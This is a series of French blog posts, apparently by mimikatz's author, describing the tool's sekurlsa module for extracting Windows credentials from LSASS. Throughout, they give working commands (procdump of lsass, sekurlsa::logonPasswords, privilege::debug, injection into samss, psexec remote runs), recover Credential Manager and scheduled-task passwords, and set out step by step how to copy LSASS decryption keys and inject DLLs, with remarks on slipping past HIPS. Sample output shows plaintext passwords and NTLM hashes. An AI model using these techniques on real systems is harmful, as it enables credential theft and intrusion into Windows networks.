sekurlsa :: minidump

mimikatz est déjà très facile d’emploi sur place… mais si nous prenions à emporter ?

mcdrive
- « Un minidump de LSASS et 4 Cocas »

NT 6

Microsoft nous a fait une bonne surprise ! Il est maintenant possible de dumper des processus directement depuis le gestionnaire de tâches, et ceci sans outils supplémentaires !
minidump_8
Nous sommes ensuite remerciés par :
dumpok
(valable pour Windows Vista et versions supérieures)

NT 5

Cette fois ci, point de méthode interne à Windows, mais nous pouvons passer par Procdump : http://technet.microsoft.com/sysinternals/dd996900.aspx

C:\WINDOWS\Sysinternals>procdump -accepteula -ma lsass.exe lsass.dmp

ProcDump v5.14 - Writes process dump files
Copyright (C) 2009-2013 Mark Russinovich
Sysinternals - www.sysinternals.com
With contributions from Andrew Richards

Writing dump file C:\WINDOWS\Sysinternals\lsass.dmp ...
Writing 48MB. Estimated time (less than) 1 second.
Dump written.

Utilisation

Il suffit maintenant d’utiliser mimikatz sur une plateforme de même version majeure et de même architecture que le dump d’origine.
minidump_matrix
Exemples de configurations :

  • Dump d’un Windows XP x86 => mimikatz x86 sous Windows 2003 x86
  • Dump d’un Vista x64 => mimikatz x64 sous Windows 2012 x64
mimikatz 2.0 alpha x86 release "Kiwi en C" (Apr  2 2013 02:58:12)

/* * *
 Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )

http://blog.gentilkiwi.com/mimikatz

                                  with   4 modules * * */


mimikatz # sekurlsa::minidump lsass.dmp
Switch to MINIDUMP

mimikatz # sekurlsa::logonPasswords

Authentication Id : 0 ; 141237
User Name         : sekur_000
Domain            : WINDOWS-8
        msv :
         * Username : sekurlsa@live.fr
         * Domain   : MicrosoftAccount
         * LM       : d0e9aee149655a6075e4540af1f22d3b
         * NTLM     : cc36cf7a8514893efccd332446158b1a
        tspkg :
         * Username : sekurlsa@live.fr
         * Domain   : MicrosoftAccount
         * Password : waza1234/
        wdigest :
         * Username : sekurlsa@live.fr
         * Domain   : MicrosoftAccount
         * Password : waza1234/
        livessp :
         * Username : sekurlsa@live.fr
         * Domain   : ps:password
         * Password : waza1234/
        kerberos :
        ssp :

mimikatz

Oui, il s’agit de mimikatz 2, une version alpha livrée totalement incomplète pour l’occasion (et certainement encore pleine de bogues).
Le français n’ayant pas beaucoup freiné certaines utilisations, et à la demande de beaucoup (gasp!), cette version sera en anglais.

La version alpha prenant en charge ces améliorations est disponible : http://blog.gentilkiwi.com/mimikatz (répertoire alpha)

gentilkiwi @ AfterWork OSSIR Février 2013

OSSIR-Logo

news0ft m’a offert une tribune sympathique pour présenter mimikatz.
Je serais donc présent à l’AfterWork de l’OSSIR ce Mardi 26 Février à partir de 19h30.

En dehors du plaisir d’y rencontrer une riche communauté, j’y évoquerai le fonctionnement de la récupération de données sensibles dans Windows via mimikatz, tout cela en une petite demi-heure.

Se passant au Café Six, les questions supplémentaires se feront autour d’un verre !

Informations :

mimikatz :: sekurlsa et SSP NTLM

Après un petit passage dans le monde des mots de passe enregistrés, retournons voir une catégorie sous estimées : les mots de passes réseau

Ces mots de passes sont souvent conseillés, car il n’y a pas d’ouverture de session interactive sur le serveur cible lors d’une connexion à un partage réseau, un canal nommé, ou une autre ressource « simple » à distance.
L’authentification est la plupart du temps transparente, et basée sur la session courante de l’utilisateur, via SSO.

Toutefois, lors d’accès à des ressources de plus haut niveau, ou nécessitant l’utilisation d’un compte tiers, le SSO ne peut plus rien pour nous : il faut s’authentifier avec de nouvelles données d’identification.

netshare
Exemple d’accès à un partage avec des données d’identification explicites

mimikatz # privilege::debug
Demande d'ACTIVATION du privilège : SeDebugPrivilege : OK

mimikatz # sekurlsa::logonPasswords full

Authentification Id         : 0;2586685
Package d'authentification  : NTLM
Utilisateur principal       : Gentil Kiwi
Domaine d'authentification  : windows-08
        msv1_0
         * Utilisateur  : Gentil Kiwi
         * Domaine      : windows-08
         * Hash LM      : d0e9aee149655a6075e4540af1f22d3b
         * Hash NTLM    : cc36cf7a8514893efccd332446158b1a
        kerberos
         * Utilisateur  : Gentil Kiwi
         * Domaine      : windows-08
         * Mot de passe : waza1234/
        ssp
         * [0] Utilisateur  : gentiltest
               Domaine      : WINDOWS-08
               Mot de passe : wazatest1234/
         * [1] Utilisateur  : test
               Domaine      : WINDOWS-08
               Mot de passe : test1234
        wdigest
         * Utilisateur  : Gentil Kiwi
         * Domaine      : windows-08
         * Mot de passe : waza1234/
        tspkg
         * Utilisateur  : Gentil Kiwi
         * Domaine      : windows-08
         * Mot de passe : waza1234/
        livessp n.t. (LUID KO)

Ou en plus court :

mimikatz # sekurlsa::ssp

Authentification Id         : 0;2586685
Package d'authentification  : NTLM
Utilisateur principal       : Gentil Kiwi
Domaine d'authentification  : windows-08
        ssp :
         [0] { gentiltest ; WINDOWS-08 ; wazatest1234/ }
         [1] { test ; WINDOWS-08 ; test1234 }

Dans ces deux exemples, le domaine d’authentification n’a pas d’importance, il s’agit de comptes locaux.

Explication rapide

Notre processus habituel, LSASS, tient encore une fois une table de données d’identification que des processus, providers, ou pilotes, peuvent interroger pour établir des connexions.

plain text passwords

C’est pourquoi le module SSP fait son apparition !
La version prenant en charge cette amélioration est disponible : http://blog.gentilkiwi.com/mimikatz

mimikatz @ sekurlsa : Credman

Comme vu lors de l’essai de récupération des mots de passe des tâches planifiées, le gestionnaire d’identification ne retourne pas très facilement de credentials en clair pour un type CRED_TYPE_DOMAIN_PASSWORD

Tests

Stockons quelques credentials de type CRED_TYPE_DOMAIN_PASSWORD :

Via une tâche planifiée

gentilletache
Résultat :

mimikatz # system::user
Utilisateur : WORKGROUP\VM-W7-ULT$

mimikatz # divers::secrets full
Nombre de secrets : 1
TargetName         : Domain:batch=TaskScheduler:Task:{55DEDD5A-70DE-49AC-98C2-9D86B9A437FA} / <NULL>
Type               : DOMAIN_PASSWORD (2)
Comment            : <NULL>
UserName           : vm-w7-ult\Gentille Tâche
Credential         : <NULL>

Via un utilisateur et un partage réseau

vault_user_share
Résultat :

mimikatz # system::user
Utilisateur : vm-w7-ult\Gentil Utilisateur

mimikatz # divers::secrets full
Nombre de secrets : 1
TargetName         : Domain:target=serveur / <NULL>
Type               : DOMAIN_PASSWORD (2)
Comment            : <NULL>
UserName           : utilisateur
Credential         : <NULL>

Via un utilisateur, un terminal server et un partage réseau

vault_user_rdp_share
Résultat :

mimikatz # system::user
Utilisateur : vm-w7-ult\Gentil Kiwi

mimikatz # divers::secrets
Nombre de secrets : 2
TargetName         : TERMSRV/windows-f.vm.nirvana.local / <NULL>
Type               : DOMAIN_PASSWORD (2)
Comment            : <NULL>
UserName           : test@nirvana.local
Credential         : <NULL>

TargetName         : windows-b.vm.nirvana.local / <NULL>
Type               : DOMAIN_PASSWORD (2)
Comment            : <NULL>
UserName           : testshare@nirvana.local
Credential         : <NULL>

penguins_triste

Explications

Les credentials exposés ici n’ont pas à être manipulés dans les applications utilisateurs, mais par le gestionnaire d’authentification de Windows (LSASS), il n’y a donc pas de raison qu’ils soient accessibles dans l’espace utilisateurs.

Pour rappel :

If the Type member is CRED_TYPE_DOMAIN_PASSWORD, this member contains the plaintext Unicode password for UserName. The CredentialBlob and CredentialBlobSize members do not include a trailing zero character. Also, for CRED_TYPE_DOMAIN_PASSWORD, this member can only be read by the authentication packages.

Plus clairement : fini de jouer avec CredEnumerate en mode utilisateur, il faut passer via un contexte SYSTEM dans LSASS

Implémentation

Exit CredEnumerate qui se limite à l’utilisateur courant, pour gagner du temps utilisons CredIEnumerate (non exportée, non documentée) qui permet de lister les secrets d’une session particulière :)

typedef NTSTATUS (WINAPI * PCRED_I_ENUMERATE)	(IN PLUID pLUID, IN DWORD unk0,	IN LPCTSTR Filter, IN DWORD Flags, OUT DWORD *Count, OUT PCREDENTIAL **Credentials);
typedef NTSTATUS (WINAPI * PCRED_I_ENUMERATE62) (IN PLUID pLUID,				IN LPCTSTR Filter, IN DWORD Flags, OUT DWORD *Count, OUT PCREDENTIAL **Credentials);

Une fois les secrets identifiés, ne retenons que ceux concernés par le déchiffrement dans LSASS (CRED_TYPE_DOMAIN_PASSWORD dans notre cas), et demandons poliment à LSA_SECPKG_FUNCTION_TABLE->CrediReadDomainCredentials depuis le processus LSASS les credentials désirés…

Puisque l’on est dans LSASS, et que Microsoft annonce que les données ne sont lisibles que par les packages d’authentification, pourquoi ne pas rajouter un petit coup de LSA_SECPKG_FUNCTION_TABLE->LsaUnprotectMemory ?

Resultat

Bien sûr, en tant qu’Administrateur, ou SYSTEM (dans ce cas, pas besoin du privilège debug)…

mimikatz 1.0 x86 (RC)   /* Traitement du Kiwi (Jan  6 2013 17:43:18) */
// http://blog.gentilkiwi.com/mimikatz

mimikatz # privilege::debug
Demande d'ACTIVATION du privilège : SeDebugPrivilege : OK

mimikatz # inject::service samss sekurlsa.dll
SERVICE(samss).serviceDisplayName = Gestionnaire de comptes de sécurité
SERVICE(samss).ServiceStatusProcess.dwProcessId = 512
Attente de connexion du client...
Serveur connecté à un client !
Message du processus :
Bienvenue dans un processus distant
                        Gentil Kiwi

SekurLSA : librairie de manipulation des données de sécurité dans LSASS

mimikatz # @getCredman full

Authentification Id         : 0;999
Package d'authentification  : NTLM
Utilisateur principal       : VM-W7-ULT$
Domaine d'authentification  : WORKGROUP
        credman :
         * [0] Target   : Domain:batch=TaskScheduler:Task:{55DEDD5A-70DE-49AC-98C2-9D86B9A437FA} / <NULL>
         * [0] Comment  : <NULL>
         * [0] User     : vm-w7-ult\Gentille Tâche
               [0] User : vm-w7-ult\Gentille Tâche
               [0] Cred : wazawaza12341234//

Authentification Id         : 0;6420317
Package d'authentification  : NTLM
Utilisateur principal       : Gentil Utilisateur
Domaine d'authentification  : vm-w7-ult
        credman :
         * [0] Target   : Domain:target=serveur / <NULL>
         * [0] Comment  : <NULL>
         * [0] User     : utilisateur
               [0] User : utilisateur
               [0] Cred : mdpuser

Authentification Id         : 0;447522
Package d'authentification  : NTLM
Utilisateur principal       : Gentil Kiwi
Domaine d'authentification  : vm-w7-ult
        credman :
         * [0] Target   : Domain:target=TERMSRV/windows-f.vm.nirvana.local / <NULL>
         * [0] Comment  : <NULL>
         * [0] User     : test@nirvana.local
               [0] User : test@nirvana.local
               [0] Cred : mdptest

         * [1] Target   : Domain:target=windows-b.vm.nirvana.local / <NULL>
         * [1] Comment  : <NULL>
         * [1] User     : testshare@nirvana.local
               [0] User : testshare@nirvana.local
               [0] Cred : mdpshare

mimikatz # exit

rico_happy

La version prenant en charge cette amélioration est disponible : http://blog.gentilkiwi.com/mimikatz

mimikatz @ sekurlsa : Credman et le planificateur de tâches

Vendredi soir, mgrzeg (http://zine.net.pl/blogs/mgrzeg/) m’a posé une petite colle sur les mots de passe associés à des tâches planifiées :

22:27 – Michal: Have you ever tried to recover passwords for scheduler tasks?

Et bien non ! Je pensais naïvement que beaucoup d’outils permettaient déjà de récupérer les mots de passe de tâches planifiées… mais, à part une version historique pour NT5 d’Ivan (http://www.ivanlef0u.tuxfamily.org/?p=173), rien de bien précis dans le paysage des outils pour les versions actuelles de Windows…

penguins_ho

Recherches

Créons une petite « Tâche de test » associée au compte de « Gentille Tâche »
gentilletache

> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Tâche de test"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Tâche de test
    Id    REG_SZ    {B0261D58-1302-40C8-A547-3AFD8F76BB4C}
    Index    REG_DWORD    0x3

> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{B0261D58-1302-40C8-A547-3AFD8F76BB4C}"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{B0261D58-1302-40C8-A547-3AFD8F76BB4C}
    Path    REG_SZ    \Tâche de test
    Hash    REG_BINARY    913E7022936A887F6CA5DD1C5BCAF21BCB7B8A120FA1551CCB19DBC7EC10D93D
    Triggers    REG_BINARY    150000000000000000F3A401A4F76772FFFFFFFFFFFFFFFF00F3A401A4F7677200000000000000002821440048484848EA0DE31E484848480048484848484848004848484848484801000000484848481C000000484848480105000000000005150000003C07DD79702A63251C051BB6E903000048484848360000004848484876006D002D00770037002D0075006C0074005C00470065006E00740069006C006C00650020005400E2006300680065000000000000004848380000004848484800000000FFFFFFFF80F40300FFFFFFFF0700000000000000000000000000000000000000000000000000000018A20F010000000000000000

Vous l’aurez sans aucun doute reconnue :

vm-w7-ult      | 76 00 6D 00 2D 00 77 00 37 00 2D 00 75 00 6C 00 74 00
\              | 5C 00
Gentille Tâche | 47 00 65 00 6E 00 74 00 69 00 6C 00 6C 00 65 00 20 00 54 00 E2 00 63 00 68 00 65 00
<NULL>         | 00 00 
<NULL><NULL>   | 00 00 00 00

Cela tombe bien, il y a une référence à son SID (S-1-5-21-2044528444-627255920-3055224092-1001) pas très loin :

> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\CredWom\S-1-5-21-2044528444-627255920-3055224092-1001"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\CredWom\S-1-5-21-2044528444-627255920-3055224092-1001
    Count    REG_DWORD    0x1
    Index    REG_SZ    {55DEDD5A-70DE-49AC-98C2-9D86B9A437FA}

Point de mot de passe… mais un GUID très utile…, le planificateur de tâche va appeler :
CredMarshalCredential avec :

  • CredType : UsernameTargetCredential
  • Credential : TaskScheduler:Task:{55DEDD5A-70DE-49AC-98C2-9D86B9A437FA}

… et se servir du résultat pour appeler LogonUser puis CreateProcessAsUser.

Explications

UsernameTargetCredential

Specifies that the credential is a reference to a CRED_FLAGS_USERNAME_TARGET credential described by a USERNAME_TARGET_CREDENTIAL_INFO structure.

Il s’avère donc que les comptes associés aux tâches planifiées sont enregistrés dans le « Gestionnaire d’identification » de SYSTEM.
Cohérent, puisque le planificateur de tâches fonctionne en tant que service local, même si la session de l’utilisateur ayant créé la tâche, ou ciblée par la tâche, est fermée.

Test

Qu’à cela ne tienne, mimikatz permet de dumper les différents éléments du gestionnaire d’identification de NT6 via : divers::secrets full

En ayant obtenu un mimikatz « SYSTEM » :

mimikatz # divers::secrets full
Nombre de secrets : 1
TargetName         : Domain:batch=TaskScheduler:Task:{55DEDD5A-70DE-49AC-98C2-9D86B9A437FA} / <NULL>
Type               : DOMAIN_PASSWORD (2)
Comment            : <NULL>
UserName           : vm-w7-ult\Gentille Tâche
Credential         : <NULL>

Damn, pas de mot de passe ici :(

mario_princess-in-another-castle

If the Type member is CRED_TYPE_DOMAIN_PASSWORD, this member contains the plaintext Unicode password for UserName. The CredentialBlob and CredentialBlobSize members do not include a trailing zero character. Also, for CRED_TYPE_DOMAIN_PASSWORD, this member can only be read by the authentication packages.

La solution sera donc plus générale que pour les mots de passe de tâches planifiées…, en effet la catégorie CRED_TYPE_DOMAIN_PASSWORD englobe aussi les credentials pré-enregistrés de lecteurs , de partages ou RDP…

A voir dans un prochain post ;)

Bonus

Dans le contexte de l’utilisateur ayant créé la tâche planifiée (et donc inacessible à SYSTEM si session fermée…) :

mimikatz # divers::secrets full
Nombre de secrets : 1
TargetName         : LegacyGeneric:target=VM-W7-ULT\Gentille Tâche / <NULL>
Type               : GENERIC (1)
Comment            : <NULL>
UserName           : VM-W7-ULT\Gentille Tâche
Credential         : wazawaza12341234//

Mais là, je ne vois pas la raison de sa présence… c’est le moteur du planificateur de tâche qui a besoin des credentials, pas l’utilisateur d’origine… (?)

gentilkiwi @ Application Security Forum 2012

asfws
Je me suis laissé pousser à proposer une présentation à l’Application Security Forum – Western Switzerland 2012.
J’ai la chance d’avoir été invité à présenter mes travaux sur mimikatz !

J’y exposerai bien sûr mimikatz mais plus particulièrement les modules sekurlsa et crypto
slide
Les participants comprendront rapidement comment récupérer des mots de passe Windows et des certificats/clés privées !

Attention : les participants du premier rang pourraient apercevoir des mots de passe et des clés…

En dehors de ma présentation (le 07 Novembre à 11h40), j’assisterai à un maximum de conférences d’experts : http://2012.appsec-forum.ch/programme/.
N’hésitez pas à faire de même et à venir me faire un petit coucou :)

mimikatz :: sekurlsa et le privilège « debug »

Le module sekurlsa récupère les hashes et mots de passe en clair depuis le processus système : LSASS.

Si vous n’étiez pas SYSTEM, il convenait de demander le privilège SeDebugPrivilege.
Mais pourquoi ? de quoi avons-nous besoin ?

  • lire des données dans le processus LSASS
  • la liste des modules chargés dans LSASS (nom, adresse de base et taille)

La théorie

Nos besoins nécessitent les droits suivants :

  • PROCESS_VM_READ ; pour lire des données dans le processus LSASS
  • PROCESS_QUERY_INFORMATION ; pour obtenir le PEB du processus LSASS et ainsi par PEB->PPEB_LDR_DATA->LDR_DATA_TABLE_ENTRY : la liste des modules chargés

Voici la DACL du processus LSASS sous Windows 7 pour les membres du groupe Administrateurs :

->Dacl    : ->Ace[1]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[1]: ->AceFlags: 0x0
->Dacl    : ->Ace[1]: ->AceSize: 0x18
->Dacl    : ->Ace[1]: ->Mask : 0x00121411
->Dacl    : ->Ace[1]: ->SID: S-1-5-32-544 (Alias: BUILTIN\Administrateurs)

Correspondant ainsi à :

  • READ_CONTROL
  • SYNCHRONIZE
  • PROCESS_QUERY_LIMITED_INFORMATION
  • PROCESS_QUERY_INFORMATION
  • PROCESS_VM_READ
  • PROCESS_TERMINATE

Nous y retrouvons PROCESS_VM_READ et PROCESS_QUERY_INFORMATION, donc a priori pas de problème ?

La pratique

Hormis pour certaines personnes maitrisant les structures de type PEB, la fonction utilisée pour obtenir les modules d’un processus est : CreateToolhelp32Snapshot.

Cette fonction permet d’énumérer, via la structure…

typedef struct tagMODULEENTRY32 {
  DWORD   dwSize;
  DWORD   th32ModuleID;
  DWORD   th32ProcessID;
  DWORD   GlblcntUsage;
  DWORD   ProccntUsage;
  BYTE    *modBaseAddr;
  DWORD   modBaseSize;
  HMODULE hModule;
  TCHAR   szModule[MAX_MODULE_NAME32 + 1];
  TCHAR   szExePath[MAX_PATH];
} MODULEENTRY32, *PMODULEENTRY32;

…, l’ensemble des modules associés à un processus (via son PID)

Chouette, une fonction qui va simplifier les opérations d’ouverture et de lecture à travers le processus LSASS !

mimikatz # process::list
PID     PPID    #Ths    pri     image
    0       0       2       0   [System Process]
    4       0     100       8   System
...
  592     460       7       9   lsass.exe
...

mimikatz # process::modules 592
mod_process::getModulesListForProcessId ; (0x00000005) Accès refusé.

Résultat : Accès refusé ! Nous savons obtenir les droits nécessaires, alors pourquoi ?

CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, ...) #fail

Allons voir de plus près les appels effectués par cette fonction…

  • kernel32!CreateToolhelp32Snapshot
  • kernel32!_ThpCreateRawSnap
  • ntdll!RtlQueryProcessDebugInformation (#wtf?)
  • ntdll!ZwOpenProcess … avec PROCESS_ALL_ACCESS !

Pas étonnant que l’accès nous soit refusé !
Malgré des droits restreints clairement identifiés pour énumérer les modules, la fonction CreateToolhelp32Snapshot nécessitera un accès complet au processus cible LSASS.
Quel bel exemple de demande des droits minimums nécessaires !

Précédemment, mimikatz demandait systématiquement le privilège debug afin de passer cette étape… quel gâchis !

Finalement, mod_process::getVeryBasicModulesListForProcess a été écrite, énumérant les modules via le PEB du processus.

Résultat

Cette nouvelle fonction est maintenant utilisée dans sekurlsa.

Windows NT 5

mimikatz 1.0 x86 (RC)   /* Traitement du Kiwi (Aug  4 2012 03:10:51) */
// http://blog.gentilkiwi.com/mimikatz

mimikatz # sekurlsa::logonPasswords full

Authentification Id         : 0;73296818
Package d'authentification  : Kerberos
Utilisateur principal       : gentilkiwi
Domaine d'authentification  : NIRVANA
       ...

Une réussite !

Windows NT 6

mimikatz 1.0 x64 (RC)   /* Traitement du Kiwi (Aug  4 2012 03:12:34) */
// http://blog.gentilkiwi.com/mimikatz

mimikatz # sekurlsa::logonPasswords full
OpenProcess : (0x00000005) Accès refusé.

#fail, mais pourquoi ? cela fonctionne sous NT 5 et nous nous limitons ici à un accès réduit sur un processus sur lequel nos deux droits sont normalement autorisés ?

Réponse : Mandatory Integrity Control (http://msdn.microsoft.com/library/windows/desktop/bb648648.aspx
Cette fonctionnalité, disponible à partir de NT 6, rajoute des informations dans la SACL des objets.

Regardons la SACL du processus LSASS sous Windows 7 :

->Sacl    : ->Ace[0]: ->AceType: SYSTEM_MANDATORY_LABEL_ACE_TYPE
->Sacl    : ->Ace[0]: ->AceFlags: 0x0
->Sacl    : ->Ace[0]: ->AceSize: 0x14
->Sacl    : ->Ace[0]: ->Mask : 0x00000003
->Sacl    : ->Ace[0]: ->SID: S-1-16-16384 (Label: Étiquette obligatoire\Niveau obligatoire système)

Ouch, à moins de provenir d’un autre processus de niveau minimum ML_SYSTEM, le flag 0x00000003 nous interdira lecture et écriture, quoi qu’en dise la DACL
En effet, ce 0x00000003 signifie :

  • SYSTEM_MANDATORY_LABEL_NO_WRITE_UP
  • SYSTEM_MANDATORY_LABEL_NO_READ_UP

Les noms sont équivoques…

Conclusion

  • Nous pouvons nous en sortir sous NT 5 sans utilisation de privilège !
  • Sous NT 6 point de salut sans privilège(s), que ce soit debug ou même security pour modifier les ACL

Quoi qu’il en soit, sekurlsa fonctionne maintenant avec des droits réduits sur LSASS, cela évitera sans doute de déclencher quelques HIPS ;)
La version prenant en charge cette nouvelle fonction est disponible : http://blog.gentilkiwi.com/mimikatz

mimikatz :: sekurlsa fait son apparition

homer_woohoole module local sekurlsa vient d’être incorporé à mimikatz !

La première version de sekurlsa (@) fonctionne par injection de la librairie susnommée, la deuxième (::) est un module local de mimikatz fonctionnant par lecture uniquement !

Après le dernier post sur l’injection de la librairie sekurlsa, puis celui sur la lecture des clés de déchiffrement depuis LSASS, il était temps de créer un nouveau module local : mimikatz :: sekurlsa

Nouvelle version !

Le nouveau mimikatz, en RC pour l’occasion, inclus donc ce nouveau module !
La version prenant en charge ce module est disponible : http://blog.gentilkiwi.com/mimikatz

sekurlsa_local

Il nécessite tout de même, sous NT6, le privilège debug pour lire des données du processus système LSASS :

mimikatz 1.0 x64 (RC)   /* Traitement du Kiwi (Aug  2 2012 01:32:28) */
// http://blog.gentilkiwi.com/mimikatz

mimikatz # privilege::debug
Demande d'ACTIVATION du privilège : SeDebugPrivilege : OK

mimikatz # sekurlsa::logonPasswords full

Authentification Id         : 0;234870
Package d'authentification  : NTLM
Utilisateur principal       : Gentil Kiwi
Domaine d'authentification  : vm-w8-rp-x
        msv1_0 :
         * Utilisateur  : Gentil Kiwi
         * Domaine      : vm-w8-rp-x
         * Hash LM      : d0e9aee149655a6075e4540af1f22d3b
         * Hash NTLM    : cc36cf7a8514893efccd332446158b1a
        kerberos :
         * Utilisateur  : Gentil Kiwi
         * Domaine      : vm-w8-rp-x
         * Mot de passe : waza1234/
        wdigest :
         * Utilisateur  : Gentil Kiwi
         * Domaine      : vm-w8-rp-x
         * Mot de passe : waza1234/
        tspkg :
         * Utilisateur  : Gentil Kiwi
         * Domaine      : vm-w8-rp-x
         * Mot de passe : waza1234/
        livessp :       n.t. (LUID KO)

L’aide de ce module sera bientôt disponible : http://blog.gentilkiwi.com/mimikatz/sekurlsa.
L’aide de la librairie a été déplacée : http://blog.gentilkiwi.com/mimikatz/librairies/sekurlsa.

Ligne de commande

Au passage, mimikatz peut maintenant prendre en compte ses commandes directement depuis ses arguments.
Quelques exemples sympas :

  • mimikatz privilege::debug "sekurlsa::logonPasswords full" exit
  • psexec \\windows-c -s -c c:\security\mimikatz\Win32\mimikatz.exe "sekurlsa::logonPasswords full" exit
  • mimikatz crypto::patchcapi crypto::exportCertificates exit
  • mimikatz nogpo::regedit exit

mimikatz :: sekurlsa – récupération des clés depuis LSASS

Je l’avais pourtant suggéré lors de mon passage aux PHDays 2012 ; pour dumper les hashes et mot de passe, il suffirait d’aller lire les clés de (dé)chiffrement de LSASS pour éviter d’y injecter la librairie sekurlsa.

sekurlsa_idea
Personne ne l’a fait :(

même pas wce qui, en plus de copier certains patterns / concepts de mimikatz, injecte sournoisement la librairie wceaux.dll pour dumper les mots de passes via WDigest, parfois à l’aide d’un service…

Approche

Le déchiffrement des mots de passe est effectué directement par :
LsaUnprotectMemoryhttp://msdn.microsoft.com/library/windows/desktop/ff714510.aspx

Le chiffrement des mots de passe est quant à lui effectué par :
LsaProtectMemoryhttp://msdn.microsoft.com/library/windows/desktop/ff714509.aspx

Ces deux fonctions reposent sur : LsaEncryptMemory


Windows NT 5

  • Algorithme : RC4
    Clé : dérivée depuis g_pRandomKey, de longueur g_cbRandomKey (256)
  • Algorithme : DES
    Clé : g_pDESXKey, de longueur 144
    IV : g_Feedback, de longueur 8

Méthodologie

  1. Charger lsasrv.dll dans mimikatz
  2. Copier les 8 octets de LSASS:lsasrv!g_Feedback vers mimikatz:lsasrv!g_Feedback
  3. Copier les 4 octets (DWORD) de LSASS:lsasrv!g_cbRandomKey vers mimikatz:lsasrv!g_cbRandomKey
  4. Instancier un nouveau tableau de taille mimikatz:lsasrv!g_cbRandomKey octets
  5. Placer l’adresse de ce tableau dans mimikatz:lsasrv!g_pRandomKey
  6. Copier les mimikatz:lsasrv!g_cbRandomKey octets ciblés par LSASS:lsasrv!g_pRandomKey vers le tableau ciblé par mimikatz:lsasrv!g_pRandomKey
  7. Instancier un nouveau tableau de taille 144 octets
  8. Placer l’adresse de ce tableau dans mimikatz:lsasrv!g_pDESXKey
  9. Copier les 144 octets ciblés par LSASS:lsasrv!g_pDESXKey vers le tableau ciblé par mimikatz:lsasrv!g_pDESXKey

Windows NT 6

  • Algorithme : 3DES
    Clé : référencée par le handle h3DesKey
    IV : InitializationVector, de longueur 8 (sur 16)
  • Algorithme : AES
    Clé : référencée par le handle hAesKey
    IV : InitializationVector, de longueur 16

Méthodologie

  1. Charger lsasrv.dll dans mimikatz
  2. Copier les 16 octets de LSASS:lsasrv!InitializationVector vers mimikatz:lsasrv!InitializationVector
  3. Appeler la fonction mimikatz:lsasrv!LsaInitializeProtectedMemory pour initialiser correctement les handles de clés h3DesKey et hAesKey
    Ces handles pointent vers des structures de ce types :

    typedef struct _KIWI_BCRYPT_KEY {
    	DWORD size;
    	DWORD type;
    	PVOID unk0;
    	PKIWI_BCRYPT_KEY_DATA cle;
    	PVOID unk1;
    } KIWI_BCRYPT_KEY, *PKIWI_BCRYPT_KEY;

    avec

    typedef struct _KIWI_BCRYPT_KEY_DATA {
    	DWORD size;
    	DWORD tag;
    	DWORD type;
    	DWORD unk0;
    	DWORD unk1;
    	DWORD unk2;
    	DWORD unk3;
    	PVOID unk4;
    	BYTE data; /* etc... */
    } KIWI_BCRYPT_KEY_DATA, *PKIWI_BCRYPT_KEY_DATA;
  4. Copier les LSASS:lsasrv!h3DesKey->KIWI_BCRYPT_KEY->KIWI_BCRYPT_KEY_DATA.size octets de LSASS:lsasrv!h3DesKey->KIWI_BCRYPT_KEY->KIWI_BCRYPT_KEY_DATA vers mimikatz:lsasrv!h3DesKey->KIWI_BCRYPT_KEY->KIWI_BCRYPT_KEY_DATA
  5. Copier les (LSASS:lsasrv!hAesKey->KIWI_BCRYPT_KEY->KIWI_BCRYPT_KEY_DATA.size - 2*sizeof(PVOID)) octets* de LSASS:lsasrv!hAesKey->KIWI_BCRYPT_KEY->KIWI_BCRYPT_KEY_DATA vers mimikatz:lsasrv!hAesKey->KIWI_BCRYPT_KEY->KIWI_BCRYPT_KEY_DATA

*il y a deux pointeurs internes à la fin de la structure AES, l’initialisation de départ fait qu’ils sont déjà corrects :)


Une fois ces opérations réalisées, la fonction LsaEncryptMemory fonctionne correctement ! Nous permettant ainsi de bénéficier du même déchiffrement que LSASS dans mimikatz

mimikatz et sekurlsa sans injection ?

soon

mimikatz @ sekurlsa – une librairie à injecter

La librairie sekurlsa permet, entre autre, de dumper des données de sécurité du processus LSASS (Local Security Authority Subsystem Service).
Très efficace, cela n’en reste pas moins un frein pour certain car elle doit être injectée dans le processus LSASS.

sekurlsa_extract

L’injection

  1. Ouverture du processus cible en écriture, avec possibilité de créer des threads
    • OpenProcess
  2. Allocation de mémoire, dans le processus cible, pour la routine de chargement
    • VirtualAllocEx
  3. Écriture, dans la mémoire allouée, du nom de la librairie à charger
    • WriteProcessMemory
  4. Création d’un thread dans le processus distant, commençant sur l’instruction LoadLibrary, avec comme argument l’adresse de notre mémoire allouée.
    • CreateRemoteThread, NtCreateThreadEx, ZwCreateThread, RtlCreateUserThread, NtQueueApcThread, …

    Ceci a pour effet de charger la librairie voulue dans le processus distant, et d’effectuer :

    • Un appel à la routine DllMain
    • Fortement conseillé : La création d’un thread avec le code nécessaire au fonctionnement de la libraire, se terminant par FreeLibraryAndExitThread
  5. Attente de la fin de l’opération de chargement (fin du thread initialement créé)
    • WaitForSingleObject
  6. Libération de la mémoire allouée
    • VirtualFreeEx

Avantages de cette méthode :

good_inject

  • S’exécute avec les droits du processus cible (pour LSASS : SYSTEM)
  • Bénéficie de toutes les données du processus cible de manière transparente
  • Les opérations effectuées dans le processus cible paraissent légitimes
  • Méthodes relativement bien connues et maitrisées

Inconvénients :

bad_inject

  • Écritures dans le processus cible
  • Modifications du contexte d’exécution du processus cible
  • Des opérations incorrectes dans la librairie peuvent entrainer un crash du processus cible
  • Les droits du processus cible peuvent être insuffisants pour accéder à des données externes (librairie sur un partage réseau par exemple)
  • Fonctionne difficilement en RDP sans proxy via un service (isolation de sessions)
  • Méthodes très connues par les antivirus et HIPS (une intrusion aussi affichée dans LSASS est quand même très louche !)

Alors pourquoi injecter ?

Beaucoup d’inconvénients…, pourquoi mimikatz doit-il donc injecter sekurlsa pour dumper les hashes et mots de passe ?

